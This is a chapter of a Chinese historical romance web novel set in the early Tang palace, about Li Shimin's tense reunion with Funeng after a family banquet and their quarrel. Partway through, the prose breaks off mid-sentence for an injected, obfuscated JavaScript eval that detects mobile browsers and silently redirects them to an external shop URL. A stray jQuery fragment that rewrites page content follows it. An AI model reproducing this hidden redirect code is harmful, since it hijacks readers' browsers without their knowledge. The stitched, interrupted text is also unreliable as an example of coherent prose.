晚间,宫中尚有家宴,除了李世民同弗能二人之外,身怀六甲的云裳,亦是随同。
一行人浩浩望北而行,经过龙池边,花荫柳岸,栽植这各色名花,而今却都已花落结果。宫中的花木自不比普通士族之家。成片的千叶桃花花树,已经青果累累。
猝然一见,她似有意外,不觉提步走至树下,仰首望向头顶,有片刻恍惚。枝繁叶茂,浓荫胜景之下是她黯然独立的寂寥身影。
席上,弗能放眼四顾,李渊、建成等美人环侍——许多生疏的艳丽佳人,众人欢声朗笑,你言我语好不热闹。万姨娘,见所有人皆团圆,唯独自己独子智云身遭不幸,伤感落泪。建成在姨娘隐隐压抑着的悲戚声里,亦想到自己妻子俱亡,此刻团圆时分,也有些愁云惨淡。而身侧伴侍美人小腹微隆,显然善解人意,立即含笑就在建成耳畔低语。几句劝慰之后,建成侧首回视身侧之人,含笑将手轻抚美人小腹,亦很快重拾兴致。
李渊看着这些成年儿女,长子踏实持重,可堪守成;次子年轻有为,能当大任;女儿巾帼不让须眉——都是他最可倚重的左膀右臂。老父之心由不得为儿女们感到骄傲。如今又见一家人除了元吉还留守在太原,也算一家团聚了。登基在即,雄心漫展。
道:“大郎,二郎,三娘,你们个个都是好样的。不愧为我李渊的子女,也不愧对你们死去母亲的英灵。我们李家要上下一心齐心协力——李家大展宏图的时候到了!”
在李渊高涨的情绪之下,所有家人也被带动,李建成兄弟执手相握向父亲跪拜:“请父亲登基为帝,带领我们扫四方,平天下,开李氏万世基业。”全家下拜祝祷。
不觉喧闹以致深夜,夜宴即将散场。李世民正准备带弗能一同回殿,却听她道:“我想留下来劝劝姨娘,并且了解了解河东家事,可否?”她垂目向案,问他。
久别重逢,本应倾诉这一年来离情,不料她却更在意其他。李世民微感失望,不过亦微笑以应:“当然可以,只是过去的就过去了,你劝慰姨娘便可,自己不要太伤感。”
“多谢。”她客气的表示感谢,让他觉得不适。
此夜,弗能便居住在万氏寝宫,听万氏声泪俱下的诉说起兵伊始至李氏颇长安期间的悲惨之事。除了听万氏自诉,弗能则更加关心大嫂嫂的死前情形,一遍一遍询问,不错过任何细节。
河东一直是长兄建成料理,建成离开之后,大嫂郑娘子作为主家娘子,肩负起这一期间家庭重任,与隋军周旋,尽一己之能,保护女眷不受过分的欺凌。她作为李氏长媳妇的身份和过于刚烈的个性,无疑令自己处于刀锋之上。而人情莫若爱子,面对隋军即将加于自己幼子身上的利锐,又怎会怯懦的接受?她的据理力争最终演变成一出悲剧,惨死于刀锋之下,而到了生命最后一刻,她也没有丢失她作为窦夫人之后,李氏当家主母这一身份的尊严。
听完长嫂死前所有情形,弗能抑制不住的浑身发颤,眼含热泪,目视前方虚无所在,良久,才敢开口发言——生怕声音也是颤抖的
“以大嫂嫂的个性……不如此……又能怎样?”她尽量淡然的出言,掩盖内心的起伏。
万姨娘觉着,一直向弗能诉苦似乎不妥,又笑道:“不过大人仁厚,为了表彰大娘子,依旧择选郑氏女为大郎之妻,迎亲之礼就快举行。”
弗能诧异非常,下意识的发问:“大哥……这般快便将再娶?”
万姨娘呵呵笑道:“可不是,正是大吉大利,气象一新!”
“这是大人的意思,那大哥呢?大嫂嫂为了我们家而死,丧期还没有过,大哥不反对?或是大哥即便反对了也无用吧……大哥……大哥向来是比较温和的,不会反对大人的决议……必定是这样的,否则,大哥同大嫂嫂的感情那样好,大哥怎么会接受如此之快便续弦再娶?……一定是的。”她不死心,努力挤出微笑,向万氏询问,殷殷切切的期盼。
而万氏的回答却彻底截断了她的侥幸:
“以往之事,过去了也就过去了。建成还年轻,也没有什么可值得反对的必要。”
万氏说着,又哀戚起来哭道:“我的智云,那么可爱的一个孩子,还不是……”
弗能略略侧过身,低首,一闭目,将眼中晶莹之物悄无声息的摒出,任凭它坠向着锦繁华之中,不在脸上留下一丝痕迹。
次日一早,弗能别过万氏,上辇回殿,撵上之人,不便喜怒眸中尽是凌烈的冷酷……
次日早朝议政之后,李世民回到承乾殿,从莺晤口中得知弗能正在内室休息,放低脚步,走入内室。悄悄走至榻边,静看她睡颜,继而忍不住低首俯身拥她,将脸依偎在她温软颈窝,鼻尖是他一贯熟悉的气息,深深感慨:“你来了真好……”
他以为昨日家宴之时众人的调笑,已拉近了他们之间的距离。会改变她奇怪的举止。
弗能任她拥抱,目中是冷静神色,瞬间掐灭他所有柔情。
李世民皱眉,目中满是疑惑,起身坐直。
“你怎么回来了?”她坦然起身问。
“你不想我回来么?”李世民冷冷回答。
“没有……”她微微一笑,“只是,我听她们说,这个时候,你该在议政的,所以以为你不会回来。”没有一丝期盼他之意,而她的笑不但不能淡化她给他带来的寒意,唯有层层加深,冷彻肌骨。
他想起来了,从见面至今,她时刻保持着对他的笑,除此之外更无一丝其他情绪。李世民不快,静看她片刻。她亦是静止的凝望他,暂时未展欢颜。无笑的神情,反而使她面目变得柔和,使他有心情细细端详她脸。
她眼睑,鼻尖都微微有些发红肿胀,吹弹可破,显出如玉一般的透明质感。其实,她的眼皮是稍显单薄的,也不够细长。如果真以严格的美人去衡量,她的美色其实并不是过分的妖艳出众。他自己也承认,他所接触过的女子中,五官面貌比她妖艳的大有人在。然而却不知为何,再妖娆艳丽也只能触动一时。他并无耐心长久去欣赏那一种直观的浓丽。而在他眼里却没有一个人比她更觉妥当,更加愈久弥坚,百看不足,她所有的优点甚至是不足之处都在不知不觉中幻化为他理想的标准。
他看她容止,对她的思念很快驱散她给他带来的不快,再度展臂拥她入怀深情轻吻上她眼,却听她说:“智云是那样活泼乖巧的一个孩子,就这样惨死,姨娘晚年丧子真是可怜。昨日姨娘真的很难过,哭了整整一夜,到了快天明的时候才恍惚睡去。还有大嫂嫂和小侄儿……大嫂嫂是为了孩子惨死的……”她悲戚的同他议论家事:“人情莫过于爱子。唉……你要好好劝劝大哥宽心才好。”
他始终耐着性子对她:“短短一年,无论国事还是家事都变化太多,而今我们李氏能走到这个地步,付出一些代价在所难免。” 这一年经历的事情太多,他的伤感早已淡化,只想尽早结束这个已成事实,过多缅怀亦毫无意义的话题。
她还是叨叨絮絮与他议论各项事务。
“我现在不想听这些……”他拥着她深吻,再次陷入迷情的同时眉间亦流露不快,随时可能爆发。
“哦,对。你忙碌一个上午,现在想必一定累了,我真不该同你议论这些。”她似无意一般挣脱他的深吻,在他怀中冷静自肘片刻后,如此回答。见他冷然不乐,便又另起话题。
“你吃过午膳了没有?”她关怀发问。
“没有……”他的不快已经十分明显,停下所有动作目视她,静看她还有怎样举止。他强力忍耐心中不快,所要的只是她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880488|212440||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
此刻的安静,甚至都不在期求其他。只要她能安静的去感受他此刻的思念,他就会重拾对她永不磨灭的笑颜。他的要求只有这一点而已。而然她却不给自己这个机会,依旧挑战他的极限。
“这怎么可以?饥饱不定会伤了身子的!我去给你准备饮食。”弗能咋惊咋怪的娇声责怪,言毕即扬声换人,自己亦从榻上起身。
李世民忍无可忍,这两日以来对她奇怪的举止忍耐已经到了极限,她却一再而三,全然没有与他相同的情绪,反而处处疏离,将他一向只对她例外的好脾气消殆尽,彻底震怒。
“你什么意思?”他怒火中烧。
“我去给你准备饮食。”她淡然回答,唇边甚至还含着一抹笑意。
“先吃盏茶吧!”她于侍女手中接过一盏香茶,举到他眼前,微笑建议。
他怫然不乐,挥臂打下她手中所执之物怒吼:“我要你来,不是要你做这些使役之事!”
她闻言静止,侧身立直。不再微笑,冷对他的盛怒。
殿内女子早已吓得魂飞胆战,纷纷跪下。莺晤急忙膝行过去捡茶盏碎片。
燕支随同众人跪下,而后屈身立起,敛裙趋步走到李世民跟前,跪于他膝下,轻拉他袍服下摆,柔声安慰:“郎君息……”
盛怒之下的李世民根本听不进人言,只觉得嘈杂,拉起袍服下摆恼怒喝斥:
“给我出去!”
众女闻言立即悄然趋步向外倒退。燕支见李世民如此盛怒亦不敢再多言,随众人退下。不过没有李世民之命,依旧不敢远离,皆屏息静气侍立于门外。
殿内李世民怒声声声传出,不绝于耳。众女既有因忧惧而战战兢兢,颤抖不止的;亦有掩饰不住内心欣喜,脸上是一副担忧之色,唇角却时有牵拉,强忍笑颜的。看得莺晤、紫梗等既是惊惧又很是恼恨。
“这一年我出生入死,不是容易的。终于等你来了,你却是这样一副模样!你这是什么态度?”李世民盛怒发问。
“你现在好好的,就表示以往刀光剑影不足为虑!”事关他生死,她却依旧清淡回答,不显任何情绪的话语此刻却格外的冷酷无情。
李世民闻言,彻底心寒,想不到她会说出这样冷酷言语:“你真的一点也不在乎?”
她闻言咬唇,终究不再向他微笑,眸光黯然下来。从榻上起身,纤足点地,缓步走向窗边。身后绛色罗裙,千千袅袅悠游摆动,光影之下,如平地腾升而起的红色烟缕,恍如梦寐。她纤细足腕,随着她的步态,于裙底时隐时现。
就算到了这个时刻,他还是担心,地上的茶盏碎片是否会割伤的足。不过,她既然如此冷酷无情,他不可能再度表现他的关怀。他既愤怒又悲怆,心中憋闷,怒气无处发泄,手下意识的攥紧搁在榻沿的金丝嵌宝枕。
刚一触碰,心底却是为之一惊——触手所及是一片湿凉——她哭过了。无怪乎她眼睑鼻尖都有一些微微肿胀的红痕。她真实心境全然不似她外表一般,她为何要“人前笑人后哭”?这个发现令他怒气渐渐消散,举目看她。
弗能倚在窗边。仰望窗外景色——繁影碧空,玉宇琼楼,金瓦红墙,天阙辉煌。天日之下耀眼到灼人眼目,丝毫不辨四季之色,不见人间烟火气息,尽是不近人情的高高在上。
单薄夏衣之下身形瘦削,尽显落寞——一年不见她瘦了许多。
“我不敢……”她低首,良久沉静之后幽幽出口。
“为何?”她的柔弱令他怒气顿消,唯有弥漫周密的柔情。
“你也说了……这一年来,无论时事还是家事……都变得太多——如今的我,更加不能与你比肩了……”她沉默片刻后,再度开口,艰涩的缓缓出言:“而我不能确定……你是不是也变了……”